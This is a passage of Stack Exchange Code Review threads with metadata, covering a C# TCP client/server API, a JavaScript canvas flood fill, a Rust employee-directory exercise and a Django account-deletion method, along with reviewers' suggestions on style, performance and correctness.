return (Message) new BinaryFormatter().Deserialize(memoryStream);
}
}
}
</code></pre>
<p>Moving on to the tcp server:</p>
<h2>ClientDataEventArgs</h2>
<pre><code>public class ClientDataEventArgs
{
public IdentifiableTcpClient Client { get; }
public string Message { get; }
public ClientDataEventArgs(IdentifiableTcpClient client, string message)
{
Client = client;
Message = message;
}
}
</code></pre>
<h2>TCPServerMain</h2>
<pre><code>public class TCPServerMain
{
public event EventHandler<IdentifiableTcpClient> ClientConnected;
public event EventHandler<IdentifiableTcpClient> ClientDisconnected;
public event EventHandler<ClientDataEventArgs> ClientDataReceived;
public TimeSpan DisconnectInterval { get; set; } = TimeSpan.FromMilliseconds(100);
public IdentifiableTcpClientDTO Identity => SharedConfiguration.ServerIdentity;
private static readonly object _padlock = new object();
private readonly Timer _disconnectTimer;
public HashSet<IdentifiableTcpClient> Clients { get; } = new HashSet<IdentifiableTcpClient>();
public TCPServerMain()
{
_disconnectTimer = new Timer(
callback: DisconnectTimerCallback,
state: null,
dueTime: (int) DisconnectInterval.TotalMilliseconds,
period: (int) DisconnectInterval.TotalMilliseconds);
var localAdd = IPAddress.Parse(ConfigurationResources.IPAdress);
var listener = new TcpListener(localAdd, int.Parse(ConfigurationResources.PortNumber));
listener.Start();
listener.BeginAcceptTcpClient(ClientConnectedCallback, listener);
}
private void DisconnectTimerCallback(object state)
{
lock (_padlock)
{
var faultedClients = new HashSet<IdentifiableTcpClient>();
foreach (var tcpClient in Clients)
{
if (!tcpClient.TcpClient.Client.IsConnected())
{
faultedClients.Add(tcpClient);
}
}
foreach (var tcpClient in faultedClients)
{
OnDisconnectedClient(tcpClient);
}
}
}
private void ClientConnectedCallback(IAsyncResult ar)
{
lock (_padlock)
{
var listener = (TcpListener) ar.AsyncState;
try
{
var client = new IdentifiableTcpClient(listener.EndAcceptTcpClient(ar));
OnClientConnected(client);
BeginReadClientDataCallback(client);
}
catch (Exception e)
{
Console.WriteLine(e);
}
finally
{
listener.BeginAcceptTcpClient(ClientConnectedCallback, listener);
}
}
}
private void BeginReadClientDataCallback(IdentifiableTcpClient client)
{
var buffer = new byte[client.TcpClient.ReceiveBufferSize];
try
{
client.TcpClient.GetStream().BeginRead(buffer, 0, client.TcpClient.ReceiveBufferSize,
ar => ClientDataReceivedCallback(buffer, ar), client);
}
catch (InvalidOperationException e)
{
OnDisconnectedClient(client);
Console.WriteLine(e);
}
}
private void ClientDataReceivedCallback(byte[] buffer, IAsyncResult ar)
{
var client = (IdentifiableTcpClient)ar.AsyncState;
try
{
var clientStream = client.TcpClient.GetStream();
var bytesRead = clientStream.EndRead(ar);
if (bytesRead == 0)
{
return;
}
var data = Encoding.GetEncoding("Windows-1251").GetString(buffer, 0, bytesRead);
OnClientDataReceived(client, data);
}
catch (InvalidOperationException)
{
}
catch (IOException e)
{
if (!(e.InnerException is SocketException))
{
throw;
}
}
finally
{
BeginReadClientDataCallback(client);
}
}
private void OnClientConnected(IdentifiableTcpClient client)
{
Clients.Add(client);
ClientConnected?.Invoke(this, client);
}
private void OnClientDataReceived(IdentifiableTcpClient client, string message)
{
ClientDataReceived?.Invoke(this, new ClientDataEventArgs(client, message));
}
private void OnDisconnectedClient(IdentifiableTcpClient client)
{
Clients.Remove(client);
ClientDisconnected?.Invoke(this, client);
}
}
</code></pre>
<h2>TCPClientMain</h2>
<pre><code>public class TCPClientMain
{
public event EventHandler<string> ServerDataReceived;
private readonly IdentifiableTcpClient _currentClient;
public IdentifiableTcpClientDTO Identity => new IdentifiableTcpClientDTO(_currentClient);
public TCPClientMain(string serverIP, int portNumber)
{
_currentClient = new IdentifiableTcpClient(new TcpClient(serverIP, portNumber));
}
public TCPClientMain()
: this(ConfigurationResources.IPAdress, int.Parse(ConfigurationResources.PortNumber))
{
}
public void SendMessageToServer(string message)
{
var bytesToSend = Encoding.GetEncoding("Windows-1251").GetBytes(message);
_currentClient.TcpClient.GetStream().Write(bytesToSend, 0, bytesToSend.Length);
}
public void BeginReadDataFromServer()
{
BeginReadServerDataCallback(_currentClient);
}
private void BeginReadServerDataCallback(IdentifiableTcpClient client)
{
var buffer = new byte[client.TcpClient.ReceiveBufferSize];
client.TcpClient.GetStream().BeginRead(buffer, 0, client.TcpClient.ReceiveBufferSize,
ar => ClientDataReceivedCallback(buffer, ar), client);
}
private void ClientDataReceivedCallback(byte[] buffer, IAsyncResult ar)
{
var client = (IdentifiableTcpClient) ar.AsyncState;
var clientStream = client.TcpClient.GetStream();
var bytesRead = clientStream.EndRead(ar);
if (bytesRead == 0)
{
return; //disconnected
}
var message = MessageSerializer.Deserialize(buffer);
ProcessMessageFromServer(client, message);
BeginReadServerDataCallback(client);
}
private void ProcessMessageFromServer(IdentifiableTcpClient client, Message message)
{
if (message.MessageType == MessageType.Message)
{
OnServerDataReceived(message.SenderDTO, message.Data);
}
else
{
foreach (var modification in message.Modifications)
{
modification.Modify(client);
}
}
}
private void OnServerDataReceived(IdentifiableTcpClientDTO sender, string message)
{
ServerDataReceived?.Invoke(sender, message);
}
}
</code></pre>
<p>A couple of helper classes:</p>
<h2>SharedConfiguration</h2>
<pre><code>public static class SharedConfiguration
{
public static IdentifiableTcpClientDTO ServerIdentity { get; }
static SharedConfiguration()
{
ServerIdentity = new IdentifiableTcpClientDTO { HashCode = -1, Name = "SERVER" };
}
}
</code></pre>
<h2>SocketExtensions</h2>
<pre><code>public static class SocketExtensions
{
public static bool IsConnected(this Socket socket)
{
try
{
return !(socket.Poll(1, SelectMode.SelectRead) && socket.Available == 0);
}
catch (SocketException) { return false; }
}
}
</code></pre>
<p>This is my first TCP/IP client/server implementation so it's more than likely I've made some rookie mistakes and that's what I'd like the focus to be on. Code-style and optimizations are of course welcome, especially the latter, since it's pretty important.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T14:19:47.857",
"Id": "411911",
"Score": "0",
"body": "Do you have some requirement to use \"Windows-1251\" as the encoding?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T14:21:45.603",
"Id": "411912",
"Score": "0",
"body": "Not really, since I was playing around with it I left it at that, probably should parameterize it. @PieterWitvoet I've included the `SharedConfiguration` class it's inside the Common project, the resources are simply resource files also located in the afore mentionted assembly. If the API is public, those should probably be parameters as well."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T14:47:02.023",
"Id": "411922",
"Score": "0",
"body": "Just a few more it seems: `IModification` and `IdentifiableTcpClient`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T14:48:55.057",
"Id": "411923",
"Score": "0",
"body": "@PieterWitvoet the `IdentifiableTcpClient` is already included, `IModification` really isn't important and would add a lot of code which is of no significance for this question. Wherever it's used in the code, could be omitted, if you want to test it out."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T19:18:23.903",
"Id": "411979",
"Score": "1",
"body": "One thing I'd suggest adding to the wire format is an ApiVersion field. Having written several RPCs, and then wishing I'd added an ApiVersion, when I then want to tweak API, but maintain backwards compatibility at both ends…"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T13:28:29.627",
"Id": "412073",
"Score": "1",
"body": "The Begin/End async IO style is obsolete. Use Task and await."
}
] | [
{
"body": "<p>I don't understand the point of the <code>IComponent</code> / <code>IComponentConsumer</code> stuff. Nothing else in the large section of code you've posted uses them. Are you sure they're at the right layer?</p>\n\n<p>Also, with <code>IComponentConsumer</code>, I think the code falls into the trap of extending when it should compose. It seems to me that every class which implements the interface will have the same implementation, so you should probably replace the interface with a <code>sealed</code> class which implements the same API and compose that into whatever classes actually use the functionality.</p>\n\n<hr>\n\n<blockquote>\n<pre><code> public override bool Equals(object obj)\n {\n return obj is IdentifiableTcpClient client && Equals(client);\n }\n</code></pre>\n</blockquote>\n\n<p>I have a slight preference for</p>\n\n<pre><code> public override bool Equals(object obj) => Equals(client as IdentifiableTcpClient);\n</code></pre>\n\n<hr>\n\n<p>I am confused about <code>Message</code>. As I read it, the client sends plain strings to the server, and the server sends <code>Message</code> instances back to the client. So why does <code>Message</code> have a property <code>public IdentifiableTcpClientDTO SenderDTO { get; }</code>? The sender is a server, not a client, and it should be clear from context who sent the message so it shouldn't need to be transmitted across the network.</p>\n\n<hr>\n\n<blockquote>\n<pre><code>public class ClientDataEventArgs\n</code></pre>\n</blockquote>\n\n<p>It's conventional that <code>XYZEventArgs</code> should extend <code>EventArgs</code>.</p>\n\n<hr>\n\n<blockquote>\n<pre><code> public HashSet<IdentifiableTcpClient> Clients { get; } = new HashSet<IdentifiableTcpClient>();\n</code></pre>\n</blockquote>\n\n<p>It's normally a bad idea to make a mutable collection of your state publicly available. Are you sure you don't want to have a private mutable set and make available a readonly view of it?</p>\n\n<hr>\n\n<blockquote>\n<pre><code> lock (_padlock)\n {\n ...\n\n foreach (var tcpClient in faultedClients)\n {\n OnDisconnectedClient(tcpClient);\n }\n }\n</code></pre>\n</blockquote>\n\n<p>Invoking callbacks while holding a lock is potentially a source of pain in the future. I would consider refactoring so that you modify the set while holding the lock and invoke the events after releasing it. That way any deadlock is entirely the fault of the invoking class.</p>\n\n<hr>\n\n<blockquote>\n<pre><code> catch (Exception e)\n {\n Console.WriteLine(e);\n }\n</code></pre>\n</blockquote>\n\n<p>Consider using a more sophisticated logging library. Serilog, log4net, even TraceWriter.</p>\n\n<hr>\n\n<p>The <code>Encoding</code> instance is probably worth caching in a static field. And I would suggest that since it's not 1990 any more you should prefer UTF-8 (without BOM, since UTF-8-BOM is a monstrosity).</p>\n\n<hr>\n\n<blockquote>\n<pre><code> catch (InvalidOperationException)\n {\n }\n catch (IOException e)\n {\n if (!(e.InnerException is SocketException))\n {\n throw;\n }\n }\n</code></pre>\n</blockquote>\n\n<p>Silently swallowing exceptions is worrying. You should alleviate the worry by adding some comments to explain why these particular exceptions can be safely ignored.</p>\n\n<hr>\n\n<p>The <code>BeginFoo/EndFoo</code> style is now legacy. In new code, I would suggest using <code>Task</code> (<code>async/await</code>) style asynchronous code, because that seems to be the preferred modern option.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T15:29:44.143",
"Id": "212982",
"ParentId": "212978",
"Score": "8"
}
}
] | {
"AcceptedAnswerId": "212982",
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T13:50:00.593",
"Id": "212978",
"Score": "8",
"Tags": [
"c#",
"networking",
"server",
"tcp",
"client"
],
"Title": "TCP client and server API"
} | 212978 |
<p>I tried to implement a very simple color flood fill to experiment a bit with Javascript. All comments about the code are welcome but I am especially interested in performance as it seems to be a bit slow. The browser tools only tell me that there is apparently a bunch of minor garbage collecting going on.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>function setPixelColor(cvs, data, row, col, color) {
const [red, green, blue] = color;
data[4 * (row * cvs.width + col)] = red;
data[4 * (row * cvs.width + col) + 1] = green;
data[4 * (row * cvs.width + col) + 2] = blue;
data[4 * (row * cvs.width + col) + 3] = 255;
}
function getPixelColor(cvs, data, row, col) {
return [data[4 * (row * cvs.width + col)],
data[4 * (row * cvs.width + col) + 1],
data[4 * (row * cvs.width + col) + 2]];
}
function arr_eq(arr1, arr2) {
if(arr1.length != arr2.length) {
return false
}
for(let i=0; i<arr1.length; i++) {
if(arr1[i] !== arr2[i]) {
return false
}
}
return true;
}
(function () {
const cvs = document.getElementById("paint");
const ctx = cvs.getContext('2d');
// black background
ctx.fillStyle='black';
ctx.fillRect(0, 0, cvs.width, cvs.height);
const imageData = ctx.getImageData(0, 0, cvs.width, cvs.height);
const data = imageData.data;
const start = [[40, 40, [255, 0, 0]],
[10, 20, [0, 255, 0]],
[23, 42, [0, 0, 255]],
[300, 333, [255, 255, 0]],
[200, 333, [255, 0, 255]]];
for(point of start) {
let [r, c, v] = point;
setPixelColor(cvs, data, r, c, v);
}
let queue = start.slice(0); // clone
while(queue.length > 0) {
p = queue.shift();
let [r,c] = p;
const vcur = getPixelColor(cvs, data, r, c);
for (const n of [[r+1,c], [r-1,c], [r,c+1], [r,c-1]]) {
const [rn, cn] = n;
if (rn >= 0 && rn < cvs.height && cn >= 0 && cn < cvs.width) {
const vn = getPixelColor(cvs, data, rn, cn);
if (arr_eq(vn, [0, 0, 0])) {
setPixelColor(cvs, data, rn, cn, vcur);
queue.push(n);
}
}
}
}
for(point of start) {
let [r, c, v] = point;
setPixelColor(cvs, data, r, c, [0, 0, 0]);
}
ctx.putImageData(imageData, 0, 0);
})();</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>test</title>
</head>
<body>
<canvas id="paint" width=500px height=500px />
<script src="test.js"></script>
</body>
</html></code></pre>
</div>
</div>
</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T16:58:23.593",
"Id": "411945",
"Score": "0",
"body": "how are you preventing processing same cell twice?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T17:07:32.340",
"Id": "411947",
"Score": "0",
"body": "It only processes black pixels."
}
] | [
{
"body": "<p>Your <code>getPixelColor</code> function creates a new array every time it's called, which is likely what ends up triggering the garbage collector.</p>\n\n<p>When dealing with pixel data, libraries often handle each pixel as a single 4-byte integer: the top 8 bits are the red value, the next are the green, the next are the blue, and the last are the alpha. This allows you to eschew arrays by using some simple bitwise arithmetic:</p>\n\n<pre><code>function setPixelColor(cvs, data, row, col, color) {\n const offset = col + cvs.width * row;\n data[offset] = (color >>> 24);\n data[offset + 1] = ((color >>> 16) & 0xff);\n data[offset + 2] = ((color >>> 8) & 0xff);\n data[offset + 3] = ((color >>> 0) & 0xff);\n}\n\nfunction getPixelColor(cvs, data, row, col) {\n const offset = col + cvs.width * row;\n return (\n (data[offset] << 24)\n | (data[offset + 1] << 16)\n | (data[offset + 2] << 8)\n | (data[offset + 3] << 0)\n );\n}\n</code></pre>\n\n<p><em>Note: caching the <code>offset</code> value in a local variable saves us some calculations. <code>color >>> 0</code> doesn't affect the value, it's there to coerce the value into an integer instead of the default floating point value JS uses for numbers.</em></p>\n\n<p>This also makes the <code>arr_eq</code> function unnecessary, since you can just use a simple equality operator <code>===</code> to check if two colors match.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T23:48:23.493",
"Id": "412004",
"Score": "0",
"body": "Is there by any chance a version of getImageData that will return such a format? Ah, maybe this is allowed const d32 = new Uint32Array(imageData.data.buffer);"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T10:28:03.097",
"Id": "412050",
"Score": "0",
"body": "That is a lot simpler, yes :)"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T17:55:40.477",
"Id": "212993",
"ParentId": "212979",
"Score": "2"
}
},
{
"body": "<h2>Performant code requires a different style.</h2>\n<p>When you are working with a lot of data, or need it done fast, it pays to optimise everything. That means that you have to forgo many of the idiomatic coding styles that have come around since ES6.</p>\n<h3>Some points regarding your code</h3>\n<ul>\n<li>Don't repeat calculations. Eg you calculate the pixel chanel index 4 times in <code>setPixelColor</code>. Should be once.</li>\n<li>Destructuring is SLOW, I mean forever slow, until browsers get round to making destructuring as performant as standard assignment dont use it in performance code.</li>\n<li>Move frequent code and variables close to the scope you use the, You have <code>setPixelColor</code> and <code>getPixelColor</code> outside the function, thus it takes extra time to locate these functions.</li>\n<li>Most devices are 64bit these days, and low end is 32 bits. Moving a byte takes just as long as moving a 4 bytes as a 32bit long or 8 bytes as 64bit long. Create a 32bit typed array so you can move a pixel in a quarter of the time.</li>\n<li>Use 32Bit variables to store colors (eg [255, 0, 0] is <code>0x0000FF</code> (NOTE 32bit pixels are backwards ABGR the opposite to CSS colors RGBA))</li>\n<li>The source of your GC overload is the line <code>for (const n of [[r+1,c], [r-1,c], [r,c+1], [r,c-1]]) {</code> You create an array that contains 4 populated array. A million pixels in a image is small fry, but 5 million arrays is crazy.</li>\n<li>Avoid getting values from getters, eg <code>cvs.width</code> is likely a getter. Get the value and store it in a variable scoped as close as possible to where you use it.</li>\n<li>You work in rows, and columns (x,y) but the pixel data is a single array. Index directly when you can.</li>\n<li>Use local scope, rather than pass variables if you must call functions inside performance loops..</li>\n<li>If you can avoid calling functions, its quicker inline.</li>\n<li>Use lookup tables to reduce math calculations.</li>\n<li>Run in <code>strict mode</code> as it give a slight performance increase, and would also have spotted the undeclared variable <code>p</code>. Because you did not declare it, it becomes a global, and thus access would be much slower than a local. As it is in the heart of the function this will cost you many CPU cycles.</li>\n</ul>\n<h2>Example</h2>\n<p>The following does it all in about 1/4 of the time.</p>\n<p>See comments for info relating to above comments.</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>(function () {\n \"use strict\"; // Always for performant code\n\n // Colors as 32bit unsigned ints. Order ABGR\n const black = 0xFF000000;\n const red = 0xFF0000FF;\n const green = 0xFF00FF00;\n const blue = 0xFFFF0000;\n const yellow = red | green;\n const magenta = red | blue;\n\n const cvs = document.getElementById(\"paint\");\n const width = cvs.width; // Get potencial slow accessors into vars.\n const w = cvs.width; // alias\n const height = cvs.height;\n const size = width * height;\n const ctx = cvs.getContext('2d');\n\n // black background\n ctx.fillStyle = \"black\";\n ctx.fillRect(0, 0, width, height);\n\n const imageData = ctx.getImageData(0, 0, width, height);\n\n // Use 32bit buffer for single pixel read writes\n const d32 = new Uint32Array(imageData.data.buffer); \n\n const start = [\n [40 * w + 40, red], // work in precalculated pixel indexes\n [10 * w + 20, green],\n [23 * w + 42, blue],\n [300 * w +333, yellow],\n [200 * w + 333, magenta]\n ];\n const pixOff = [w, -w, 1, -1]; // lookup for pixels left right top bottom\n const pixOffX = [0, 0, 1, -1]; // lookup for pixel x left right\n\n const queue = []; // keep queue content as simple as possible.\n for (const pixel of start) { \n queue.push(pixel[0]); // Populate the queue\n d32[pixel[0]] = pixel[1]; // Write pixel directly to buffer\n }\n \n while (queue.length) {\n const idx = queue.shift();\n const x = idx % w; // Need the x coord for bounds test\n for (let i = 0; i< pixOff.length; i++) {\n const nIdx = idx + pixOff[i]; \n if (d32[nIdx] === black) { // Pixels off top and bottom \n // will return undefined\n const xx = x + pixOffX[i];\n if (xx > -1 && xx < w ) {\n d32[nIdx] = d32[idx];\n queue.push(nIdx);\n }\n }\n }\n }\n for (const pixel of start) { d32[pixel[0]] = pixel[1] }\n ctx.putImageData(imageData, 0, 0);\n})();</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code><canvas id=\"paint\" width=500px height=500px /></code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T23:49:52.650",
"Id": "412005",
"Score": "0",
"body": "This really is an excellent answer! Is there something you would recommend for profiling to see the difference in timing for the various optimizations?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T08:52:23.463",
"Id": "412041",
"Score": "0",
"body": "Where did you find the information on how to access the pixels as raw data via getImageData().data.buffer?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T09:01:45.500",
"Id": "412042",
"Score": "0",
"body": "@CorporalTouchy MDN is a good reference https://developer.mozilla.org/en-US/docs/Web/JavaScript as for the optimisations that is something that comes from experiance. Chrome DevTools can give some insight but there is no easy way to compare one technique against another,"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T09:04:57.327",
"Id": "412044",
"Score": "0",
"body": "Okay, got it https://developer.mozilla.org/en-US/docs/Web/API/ImageData/data"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T18:03:35.720",
"Id": "212994",
"ParentId": "212979",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "212994",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T13:52:28.350",
"Id": "212979",
"Score": "3",
"Tags": [
"javascript",
"performance",
"beginner",
"algorithm",
"canvas"
],
"Title": "JavaScript flood fill"
} | 212979 |
<p>As I'm learning Rust using the second edition of the Rust book I solved the following exercise:</p>
<blockquote>
<p>Using a hash map and vectors, create a text interface to allow a user to add employee names to a department in a company. For example, “Add Sally to Engineering” or “Add Amir to Sales.” Then let the user retrieve a list of all people in a department or all people in the company by department, sorted alphabetically.</p>
</blockquote>
<p>I could find this solution: <a href="https://codereview.stackexchange.com/questions/167490/rust-exercise-department-employee-management">Rust exercise department employee management</a> (which did not receive a lot of feedback).</p>
<p>Do you have any feedback on my implementation? The code works, but I can imagine that some refactoring would be good. It already took me a lot of trial and error to get this working :-)</p>
<p>Suggestions welcome!</p>
<pre><code>use std::io;
use std::collections::HashMap;
fn main() {
let mut employees:HashMap<String, Vec<String>> = HashMap::new();
println!("Start adding employees or type 'Done' when finished!");
loop {
let mut input = String::new();
io::stdin().read_line(&mut input).expect("error: unable to read user input");
let parsed_input = dissect_input(input.clone());
match parsed_input {
Ok(v) => {
let (dept, name) = v;
employees.entry(dept.to_string())
.or_insert_with(Vec::new)
.push(name)
}
Err(e) => {
if e == "End" {
println!("Processed all input, good!\n\n");
break;
} else {
println!("Input error!");
continue;
}
}
}
}
println!("Type the name of a department to get its employees.");
println!("Type 'All' to get all employees by department.");
println!("Type 'Quit' to quit.");
loop {
let mut command = String::new();
io::stdin().read_line(&mut command).expect("error: unable to read user input");
match command.trim() {
"Quit" => break,
"All" => {
for (dept, names) in &employees {
let mut names = names.clone();
names.sort();
for name in names {
println!("{}: {}", dept, name);
}
}
}
_ => {
match employees.get(&command.trim().to_string()) {
Some(names) => {
for name in names { println!("{}: {}", command.trim().to_string(), name); }
}
None => println!("I don't recognize that!")
}
}
}
}
println!("Have a nice day!");
}
fn dissect_input(s: String) -> Result<(String, String), String> {
match s.trim().as_ref() {
"Done" => Err("End".to_string()),
_ => {
let words: Vec<&str> = s.split_whitespace().collect();
if words.len() != 4 {
Err("PEBCAK".to_string())
} else {
Ok((words[3].to_string(), words[1].to_string())) // “Add Sally to Engineering”
}
}
}
}
// Using a hash map and vectors, create a text interface to allow a user
// to add employee names to a department in a company.
// For example, “Add Sally to Engineering” or “Add Amir to Sales.”
// Then let the user retrieve a list of all people in a department
// or all people in the company by department, sorted alphabetically.
<span class="math-container">```</span>
</code></pre>
| [] | [
{
"body": "<p>To start, I have some general tips. Run your code through rustfmt to get consistent formatting and make code easier to read. Run your code through clippy to get tips on common mistakes (clippy had nothing to say about your code, nice!)</p>\n\n<p>One overall thing I'd suggest is to not be afraid to use a custom type in a case like this. Instead of returning a <code>Result<(String, String), String></code> where the <code>Err</code> has multiple meanings based on value, just go ahead and make an <code>Enum</code> for your commands. I'll show you this in my final example, along with merging the two command sections (which the exercise is kinda fuzzy on whether it cares which way you do it).</p>\n\n<p>Onto specific things:</p>\n\n<p>You can get an iterator over lines of <code>stdin</code> by <code>.lock().lines()</code>, which can make this simpler, but that's a matter of preference over using <code>read_line</code>. If you are going to use <code>read_line</code>, you might as well reuse your input buffer, since that's the whole point of it taking a buffer as a parameter instead of just returning a <code>String</code>. That way you aren't reallocating each time. </p>\n\n<pre><code>let mut stdin = io::stdin()\nlet mut input = String::new();\nloop {\n input.clear();\n stdin.read_line(&mut input).unwrap();\n // ...\n}\n</code></pre>\n\n<p><code>dissect_input</code> should take a <code>&str</code> instead of a <code>String</code>, since you only need to view it.</p>\n\n<p>Down in the listing part, you do <code>&command.trim().to_string()</code>, which is unneeded in a few ways. <code>.to_string()</code> takes you from a <code>&str</code> to a <code>String</code>, and then the <code>&</code> brings you right back to a <code>&str</code>, so you could just do <code>command.trim()</code>. Also, you can just bind in the match you already have, like <code>dept => employees.get(dept)</code></p>\n\n<p>Overall, this is a really good first attempt! It can be hard to first wrap your head around the things that make rust different, like lifetimes and slices, but just getting things working is a great step.</p>\n\n<p>Here's how I might choose to do this exercise.</p>\n\n<pre><code>use std::collections::HashMap;\nuse std::io;\n\n// required trait for .lines()\nuse std::io::BufRead;\n\nfn main() {\n let mut employees: HashMap<String, Vec<String>> = HashMap::new();\n let stdin = io::stdin();\n println!(\"Type 'Add <name> to <department>' to add an employee\");\n println!(\"Type 'List <department>' to list the employees of a department\");\n println!(\"Type 'All' to list all employees by department\");\n println!(\"Type 'Quit' to quit\");\n for line in stdin.lock().lines() {\n let input = line.expect(\"error: unable to read user input\");\n match Command::from_input(&input) {\n // or_default is just a convenience, does the same as or_insert_with(Vec::default)\n Some(Command::Add { dept, name }) => employees.entry(dept).or_default().push(name),\n Some(Command::List(dept)) => match employees.get(&dept) {\n Some(names) => {\n for name in names {\n println!(\"{}: {}\", dept, name);\n }\n }\n None => println!(\"I don't recognize that department!\"),\n },\n Some(Command::All) => {\n for (dept, names) in &employees {\n let mut names = names.clone();\n names.sort();\n for name in names {\n println!(\"{}: {}\", dept, name);\n }\n }\n }\n Some(Command::Quit) => break,\n // consider using eprintln, which prints to stderr\n None => println!(\"Input error!\"),\n }\n }\n println!(\"Have a nice day!\");\n}\n\nenum Command {\n // Using named fields instead of Add(String, String) because dept and name\n // are the same type and could get mixed up.\n Add { dept: String, name: String },\n List(String),\n All,\n Quit,\n}\n\nimpl Command {\n fn from_input(s: &str) -> Option<Self> {\n let words: Vec<&str> = s.trim().split_whitespace().collect();\n // \"Slice destructuring / slice pattern matching\" for more info\n match words.as_slice() {\n [\"All\"] => Some(Command::All),\n [\"Quit\"] => Some(Command::Quit),\n [\"List\", dept] => Some(Command::List(dept.to_string())),\n [\"Add\", name, \"to\", dept] => Some(Command::Add {\n dept: dept.to_string(),\n name: name.to_string(),\n }),\n _ => None,\n }\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-11T15:05:37.987",
"Id": "412486",
"Score": "0",
"body": "Thanks, that was very helpful! I see how that enum and its ::from_input makes things a lot neater. Your changes for sure make things more readable, elegant and most probably more flexible to any future changes. I'll need to practice some more before I think of solutions like that on my own :-)\n\nOne question: is the `or_default` method based on the type annotation which was specified when creating the hashmap?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-11T21:44:01.700",
"Id": "412550",
"Score": "1",
"body": "Its a little unclear what you're asking, but I believe yes.\n[Here's the source](https://doc.rust-lang.org/beta/src/std/collections/hash/map.rs.html#2762-2767), in case you want to see. Notice that it requires `V: Default`."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-11T00:17:06.530",
"Id": "213222",
"ParentId": "212987",
"Score": "6"
}
}
] | {
"AcceptedAnswerId": "213222",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T16:14:51.403",
"Id": "212987",
"Score": "4",
"Tags": [
"rust"
],
"Title": "Rust: exercise of employees and names"
} | 212987 |
<p>I'm creating a Django project where users can decide to delete their account and everything we know about them (solved riddles, votes ...).
I think you can compress this code but I don't know how.</p>
<p>I have a User related to <code>Comment</code>, <code>Report</code>, <code>Vote</code>, .... And I've got a <code>Userprofile</code> with a user relation:</p>
<pre><code>class UserProfile(models.Model):
User = models.OneToOneField(User, on_delete=models.CASCADE, verbose_name="Benutzer", unique=True, primary_key=True, default=None)
# Some other fields
</code></pre>
<p>Comment-User relation:</p>
<pre><code>class Comment(models.Model):
User = models.ForeignKey(User, on_delete=models.CASCADE, default=None, verbose_name="Kommentierender")
</code></pre>
<p>Report, Vote, UserClicked, UserVoted, SolvedRiddle have the same relation like <code>Comment</code>.</p>
<p>Article-User relation:</p>
<pre><code>class Article(models.Model):
authors = models.ManyToManyField(User, verbose_name="Autor", blank=True, default=None)
</code></pre>
<p>that's my <strong>del</strong> method in userprofile to delete everything from a user:</p>
<pre><code>def __del__(self):
user = self.User
if user is None:
return False
Comment.objects.filter(User=user).delete()
Report.objects.filter(User=user).delete()
Vote.objects.filter(User=user).delete()
userclicked = UserClicked.objects.filter(User=user)
if userclicked.exists():
for object in userclicked:
del object
uservoted = UserVoted.objects.filter(User=user)
if uservoted.exists():
for object in uservoted:
del object
author_article = Article.objects.filter(authors__in=[user, ])
if author_article.exists():
for object in author_article:
object.remove_author(user)
solvedriddle_user = SolvedSolution.objects.filter(User=user)
if solvedriddle_user.exists():
for object in solvedriddle_user:
del object
self.User.delete()
self.delete()
return True
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T16:35:00.477",
"Id": "411938",
"Score": "0",
"body": "Also did you test this code? I mean, did you manage to create `Comment`s, `Report`s, etc. that are lasting in the DB between manual testing sessions?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T16:35:03.863",
"Id": "411939",
"Score": "0",
"body": "It's a method of my userprofile model. I'll test it after I've compressed it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T16:45:31.757",
"Id": "411941",
"Score": "1",
"body": "And if you didn't test the code, then it is not ready for review. How would you know if it work as expected?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-06T17:01:36.763",
"Id": "411946",
"Score": "0",
"body": "I tested it. I had to change `del object` to `obj.__del__()`. After that it worked. Do you know how to compress this code? I think you can compress `for object in *` but I don't know how."
}
] | [
